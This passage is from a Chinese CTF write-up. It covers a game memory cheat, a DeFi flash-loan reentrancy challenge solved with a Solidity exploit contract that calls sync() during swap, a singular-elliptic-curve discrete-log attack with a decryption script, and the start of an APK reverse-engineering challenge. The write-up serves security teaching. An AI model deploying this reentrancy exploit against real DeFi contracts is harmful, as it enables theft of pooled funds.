IlM0ElMjJyZ2IoODUlMkMlMjA4NSUyQyUyMDg1KSUyMiU3RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3B6c2pmeHJwNDVqejY4ZG5wJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwMi4lRTYlQTglQTElRTYlOEIlOUYlRTUlOTklQTglRTYlODklOTMlRTUlQkMlODBDUFUlMjB2aWV3JUVGJUJDJThDJUU4JUJGJTlCJUU1JTg1JUE1JUU1JTg1JUIzJUU1JThEJUExJUVGJUJDJThDJUU1JTg1JUI2JUU0JUI4JUFEJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29sb3IlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydmFsdWUlMjIlM0ElMjJyZ2IoODUlMkMlMjA4NSUyQyUyMDg1KSUyMiU3RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIweDMyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29sb3IlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydmFsdWUlMjIlM0ElMjJyZ2IoODUlMkMlMjA4NSUyQyUyMDg1KSUyMiU3RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjAlRTQlQkQlOEQlRTclQkQlQUUlRTQlQjglQkExUCVFNyU5QSU4NCVFNyU5NCU5RiVFNSU5MSVCRCVFNiU5NSVCMCVFRiVCQyU5QiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmNvbG9yJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnZhbHVlJTIyJTNBJTIycmdiKDg1JTJDJTIwODUlMkMlMjA4NSklMjIlN0QlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyMHhCMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmJvbGQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmNvbG9yJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnZhbHVlJTIyJTNBJTIycmdiKDg1JTJDJTIwODUlMkMlMjA4NSklMjIlN0QlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwJUU0JUJEJThEJUU3JUJEJUFFJUU0JUI4JUJBMVAlRTYlOTclQTAlRTYlOTUlOEMlRTclOEElQjYlRTYlODAlODElRTclOUElODQlRTUlODklQTklRTQlQkQlOTklRTYlOTclQjYlRTklOTclQjQlRUYlQkMlOUIlRTUlOEYlQUYlRTQlQkIlQTUlRTQlQkYlQUUlRTYlOTQlQjklMkYlRTUlODYlQkIlRTclQkIlOTMlRTglQkYlOTklRTQlQjglQTQlRTQlQjglQUElRTQlQkQlOEQlRTclQkQlQUUlRTglQkUlQkUlRTUlODglQjAlRTYlOTclQTAlRTklOTklOTAlRTUlOTElQkQlMkIlRTYlOTclQTAlRTYlOTUlOEMlRTclOUElODQlRTclOEElQjYlRTYlODAlODElRTglQkYlODUlRTclOEMlOUIlRTklODAlOUElRTUlODUlQjMlMjAlRUYlQkMlOUElRUYlQkMlODklMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2xvciUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ2YWx1ZSUyMiUzQSUyMnJnYig4NSUyQyUyMDg1JTJDJTIwODUpJTIyJTdEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">关于快速通关，</span></section><p style="text-align: left;line-height: 1.75em;margin-top: 16px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(75, 183, 82);"><span data-type="text" style="font-weight: bold;">选关</span>：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(85, 85, 85);">按下 </span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;font-size: 15px;color: rgb(75, 183, 82);">START </span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(85, 85, 85);">后，在游戏画面变黑之前，同时按下</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(75, 183, 82);"> <span data-type="text" style="font-weight: bold;">←+↑+A+START</span></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(85, 85, 85);">，就可以进入选关菜单。</span></p><p style="text-align: left;line-height: 1.75em;margin-top: 16px;"><span style="font-weight: bold;font-size: 15px;color: rgb(75, 183, 82);">作弊</span><span style="font-size: 15px;color: rgb(85, 85, 85);">：</span></p><p style="text-align: left;line-height: 1.75em;margin-top: 8px;"><span style="font-size: 15px;color: rgb(85, 85, 85);">1.自带的经典作弊码，在标题画面BGM出现后按</span><span style="font-size: 15px;color: rgb(75, 183, 82);"> <span data-type="text" style="font-weight: bold;">上上下下左右左右BA</span> </span><span style="font-size: 15px;color: rgb(85, 85, 85);">就会有30条命。</span></p><p style="text-align: left;line-height: 1.75em;margin-top: 8px;"><span style="font-size: 15px;color: rgb(85, 85, 85);">2.模拟器打开 CPU view，进入关卡，其中</span><span style="font-size: 15px;color: rgb(75, 183, 82);"> <span data-type="text" style="font-weight: bold;">0x32</span> </span><span style="font-size: 15px;color: rgb(85, 85, 85);">位置为 1P 的生命数，</span><span style="font-size: 15px;color: rgb(75, 183, 82);"><span data-type="text" style="font-weight: bold;">0xB0</span> </span><span style="font-size: 15px;color: rgb(85, 85, 85);">位置为1P无敌状态的剩余时间，可以修改/冻结这两个位置达到无限命+无敌的状态迅猛通关。</span></p></article><p><br/></p><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section data-role="title" data-tools="135编辑器" data-id="93744" data-color="#7ac259"><section style="text-align: center;padding-top: 1em;padding-bottom: 1em;box-sizing: border-box;"><section><section style="display: inline-block;"><section style="display:flex;justify-content: center;align-items: flex-end;"><section style="box-sizing:border-box;width: 4px;height: 32px;background: #7ac259;border-top-left-radius: 2px;border-bottom-left-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10632"><br/></section><section style="border-bottom: 4px solid #7ac259;box-sizing: border-box;"><section style="padding: 5px 1.4em;background: rgb(255, 255, 255);border-width: 1px;border-style: dashed;border-color: rgb(51, 51, 51);letter-spacing: 2px;transform: rotate(0deg);" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" class="js_darkmode__10633"><section data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><span style="font-size:24px;" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><strong data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)">BlockChain</strong></span></section></section></section><section style="box-sizing:border-box;width: 4px;height: 32px;background: #7ac259;border-top-right-radius: 2px;border-bottom-right-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10634"><br/></section></section></section></section></section></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section data-role="title" data-tools="135编辑器" data-id="93408" data-color="#7ac259"><section style="display:flex;justify-content: center;align-items: center;margin:10px auto;"><section data-brushtype="text" style="border-left: 5px solid rgb(122, 194, 89);padding-right: 5px;padding-left: 5px;box-sizing: border-box;">HappyFactory</section><section class="js_darkmode__10635" style="overflow:hidden;height:1px;background:#7ac259;flex:1;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section><section class="js_darkmode__10636" style="overflow:hidden;height:6px;background:#7ac259;width:6px;border-radius:100%;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section></section></section><p style="line-height:1.75em;"><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">本题考点为 Defi 项目的核心逻辑中，闪电贷功能易出现的重入漏洞。</span></p><p style="line-height:1.75em;"><br/></p><p style="line-height:1.75em;"><strong><span style="font-size: 15px;color: #7ac259;">解题思路1:</span></strong></p><p style="line-height:1.75em;"><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">在调用 swap 合约闪电贷之前，调用 Token 的 Burn 接口。Burn 接口无 onlyOwner 限制，可直接调用。</span></p><p style="line-height:1.75em;"><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">Burn 掉 Pair 的部分 balance，然后调用 sync 函数调平。调平后的pair可swap出巨量Token。</span></p><p style="line-height:1.75em;"><br/></p><p style="line-height:1.75em;"><strong><span style="font-size: 15px;color: #7ac259;">解题思路2:</span></strong></p><p style="line-height:1.75em;"><span style="font-size:15px;"><br/></span></p><p style="line-height:1.75em;"><span style="font-size:15px;">在调用 swap 合约的闪电贷功能时，重入未加 lock 限制的 sync 函数。在计算 K 值前，将 reserve 设为对自己有利的状态。</span></p><p><br/></p><section style="line-height: 1.75em;margin-bottom: 0px;"><span style="font-size:15px;">解题 Exploit 如下:</span></section><section style="line-height: 1.75em;margin-bottom: 0px;"><span style="font-size:15px;"><br/></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">pragma solidity ^0.8.0;</span></code><code><span class="code-snippet_outer">import &#34;./Happy.sol&#34;;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">contract Exploit {</span></code><code><span class="code-snippet_outer">    event tokenA_tokenB(address, address);</span></code><code><span class="code-snippet_outer">    IHappyFactory factory =</span></code><code><span class="code-snippet_outer">        IHappyFactory(address(0xA2A21Fe2fD692b63Df06ECd5b0a783323B4eae36));</span></code><code><span class="code-snippet_outer">    IHappyPair public pair;</span></code><code><span class="code-snippet_outer">    IHappyERC20 public tokenA;</span></code><code><span class="code-snippet_outer">    IHappyERC20 public tokenB;</span></code><code><span class="code-snippet_outer">    address public gamer;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    constructor(address tokenA_address, address tokenB_address) {</span></code><code><span class="code-snippet_outer">        gamer = msg.sender;</span></code><code><span class="code-snippet_outer">        tokenA = IHappyERC20(tokenA_address);</span></code><code><span class="code-snippet_outer">        tokenB = IHappyERC20(tokenB_address);</span></code><code><span class="code-snippet_outer">        pair = IHappyPair(factory.getPair(tokenA_address, tokenB_address));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    function attack(uint256 amount0, uint256 amount1) public {</span></code><code><span class="code-snippet_outer">        pair.swap(amount0, amount1, address(this), &#34;0x&#34;);</span></code><code><span class="code-snippet_outer">        tokenB.transfer(gamer, 1 ether);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    fallback() external {</span></code><code><span class="code-snippet_outer">        pair.sync();</span></code><code><span class="code-snippet_outer">        tokenA.transferFrom(gamer, address(pair), 1 ether);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><section style="line-height: 1.75em;margin-bottom: 0px;"><br/></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section data-role="title" data-tools="135编辑器" data-id="93744" data-color="#7ac259"><section style="text-align: center;padding-top: 1em;padding-bottom: 1em;box-sizing: border-box;"><section><section style="display: inline-block;"><section style="display:flex;justify-content: center;align-items: flex-end;"><section style="box-sizing:border-box;width: 4px;height: 32px;background: #7ac259;border-top-left-radius: 2px;border-bottom-left-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10637"><br/></section><section style="border-bottom: 4px solid #7ac259;box-sizing: border-box;"><section style="padding: 5px 1.4em;background: rgb(255, 255, 255);border-width: 1px;border-style: dashed;border-color: rgb(51, 51, 51);letter-spacing: 2px;transform: rotate(0deg);" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" class="js_darkmode__10638"><section data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><span style="font-size:24px;" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><strong data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)">Crypto</strong></span></section></section></section><section style="box-sizing:border-box;width: 4px;height: 32px;background: #7ac259;border-top-right-radius: 2px;border-bottom-right-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10639"><br/></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-role="title" data-tools="135编辑器" data-id="93408" data-color="#7ac259"><section style="display:flex;justify-content: center;align-items: center;margin:10px auto;"><section data-brushtype="text" style="border-left: 5px solid rgb(122, 194, 89);padding-right: 5px;padding-left: 5px;box-sizing: border-box;">babyCurve</section><section class="js_darkmode__10640" style="overflow:hidden;height:1px;background:#7ac259;flex:1;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section><section class="js_darkmode__10641" style="overflow:hidden;height:6px;background:#7ac259;width:6px;border-radius:100%;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section></section></section><h3><br/></h3><h3 style="line-height: 1.75em;"><span style="font-size:15px;">题目的主要考察椭圆曲线同构。参考链接:</span></h3><h3 style="line-height: 1.75em;"><span style="font-size: 15px;color: rgb(77, 189, 199);"><a href="https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp" target="_blank">https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp</a></span></h3><p style="line-height:1.75em;"><br/></p><p><span style="font-size:15px;">根据题目我们可以知道椭圆曲线为y² = x</span><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">*(x+1)²</span></p><p style="line-height:1.75em;"><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">然后我们发现椭圆曲线的判别式为 0 根据参考链接给出的方法 我们采用换元法修改成和上述链接一样的形式。</span></p><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2362037b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxkF68BzyMr3vPujicxTKGYwuYo3WujPSc6PA02fgviaqsXGHTxuD32Vqw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq4buvu5ltccqoyt6&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;这时候就可以利用同构求出密钥x，然后一切问题都迎刃而解&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq4buvu5ltccqoyt6&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;下面提供下exp&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3E0YnV2dTVsdGNjcW95dDYlMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTglQkYlOTklRTYlOTclQjYlRTUlODAlOTklRTUlQjAlQjElRTUlOEYlQUYlRTQlQkIlQTUlRTUlODglQTklRTclOTQlQTglRTUlOTAlOEMlRTYlOUUlODQlRTYlQjElODIlRTUlODclQkElRTUlQUYlODYlRTklOTIlQTV4JUVGJUJDJThDJUU3JTg0JUI2JUU1JTkwJThFJUU0JUI4JTgwJUU1JTg4JTg3JUU5JTk3JUFFJUU5JUEyJTk4JUU5JTgzJUJEJUU4JUJGJThFJUU1JTg4JTgzJUU4JTgwJThDJUU4JUE3JUEzJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ1dWlkJTIyJTNBJTIybGNxNGJ1dnU1bHRjY3FveXQ2JTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU0JUI4JThCJUU5JTlEJUEyJUU2JThGJTkwJUU0JUJFJTlCJUU0JUI4JThCZXhwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">这时候就可以利用同构求出密钥x，然后一切问题都迎刃而解</span></section><section style="text-align: left;line-height: 1.75em;"><br/></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">下面提供下 exp</span></section></article><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">from Crypto.Util.number import *</span></code><code><span class="code-snippet_outer">from Crypto.Cipher import AES</span></code><code><span class="code-snippet_outer">p = 193387944202565886198256260591909756041</span></code><code><span class="code-snippet_outer">P.&lt;x&gt; = GF(p)[]</span></code><code><span class="code-snippet_outer">f = x^3 + 2*x^2 + x</span></code><code><span class="code-snippet_outer">P = (4, 10)</span></code><code><span class="code-snippet_outer">Q = (65639504587209705872811542111125696405,125330437930804525313353306745824609665)</span></code><code><span class="code-snippet_outer">f_ = f.subs(x=x-1)</span></code><code><span class="code-snippet_outer">print f_.factor()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">P_ = (P[0] +1, P[1])</span></code><code><span class="code-snippet_outer">Q_ = (Q[0] +1, Q[1])</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">t = GF(p)(p-1).square_root()</span></code><code><span class="code-snippet_outer">u = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % p</span></code><code><span class="code-snippet_outer">v = (Q_[1] + t*Q_[0])/(Q_[1] - t*Q_[0]) % p</span></code><code><span class="code-snippet_outer">print(v.log(u))</span></code><code><span class="code-snippet_outer">k = v.log(u)</span></code><code><span class="code-snippet_outer">aes = AES.new(long_to_bytes(k).ljust(16, &#39;\0&#39;), AES.MODE_CBC, &#39;\0&#39;*16)</span></code><code><span class="code-snippet_outer">flag = &#34;b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0&#34;.decode(&#34;hex&#34;)</span></code><code><span class="code-snippet_outer">print(len(flag))</span></code><code><span class="code-snippet_outer">plaintext = aes.decrypt(flag)</span></code><code><span class="code-snippet_outer">print(plaintext)</span></code></pre></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section data-role="title" data-tools="135编辑器" data-id="93744" data-color="#7ac259"><section style="text-align: center;padding-top: 1em;padding-bottom: 1em;box-sizing: border-box;"><section><section style="display: inline-block;"><section style="display:flex;justify-content: center;align-items: flex-end;"><section style="box-sizing:border-box;width: 4px;height: 32px;background: #7ac259;border-top-left-radius: 2px;border-bottom-left-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10718"><br/></section><section style="border-bottom: 4px solid #7ac259;box-sizing: border-box;"><section style="padding: 5px 1.4em;background: rgb(255, 255, 255);border-width: 1px;border-style: dashed;border-color: rgb(51, 51, 51);letter-spacing: 2px;transform: rotate(0deg);" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" class="js_darkmode__10719"><section data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><span style="font-size:24px;" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><strong data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)">Reverse</strong></span></section></section></section><section style="box-sizing:border-box;width: 4px;height: 32px;background: #7ac259;border-top-right-radius: 2px;border-bottom-right-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10720"><br/></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-role="title" data-tools="135编辑器" data-id="93408" data-color="#7ac259"><section style="display:flex;justify-content: center;align-items: center;margin:10px auto;"><section data-brushtype="text" style="border-left: 5px solid rgb(122, 194, 89);padding-right: 5px;padding-left: 5px;box-sizing: border-box;">SNAKE</section><section class="js_darkmode__10721" style="overflow:hidden;height:1px;background:#7ac259;flex:1;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section><section class="js_darkmode__10722" style="overflow:hidden;height:6px;background:#7ac259;width:6px;border-radius:100%;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section></section></section><p style="text-align: left;margin-bottom: 0px;"><br/></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;">安装 apk 运行发现是个贪吃蛇游戏，随着控制蛇吃到的食物越多，蛇的速度越快。所以如果你足够强可以坚持到最后，把 flag 吃出来。</span></p><p style="text-align: left;margin-bottom: 0px;"><br/></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;">分析 apk，由于贪吃蛇和食物本身所用资源都是图片，于是在 drawable 目录中可找到这些图片文件，并且可以发现除普通食物图片外，还有 b0，b1 这些字母图片，容易猜测到这些便是 flag 的组成部分。</span></p><p style="text-align: left;margin-bottom: 0px;"><br/></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;">在 onDraw 方法中注意到如下部分</span></p><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="270" data-backw="534" data-ratio="0.5056179775280899" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="534" src="https://wechat2rss.xlab.app/img-proxy/?k=aac16d05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxo1EzrnEK5sibnKeoOrWYVNFeHibn71ysWOAsnApOcW9qdIfEkf1faXGw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq4bvswunw7u66bvaa&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;a和b方法分别控制屏幕绘制食物或是flag，由this.c控制&#34;]]]]" 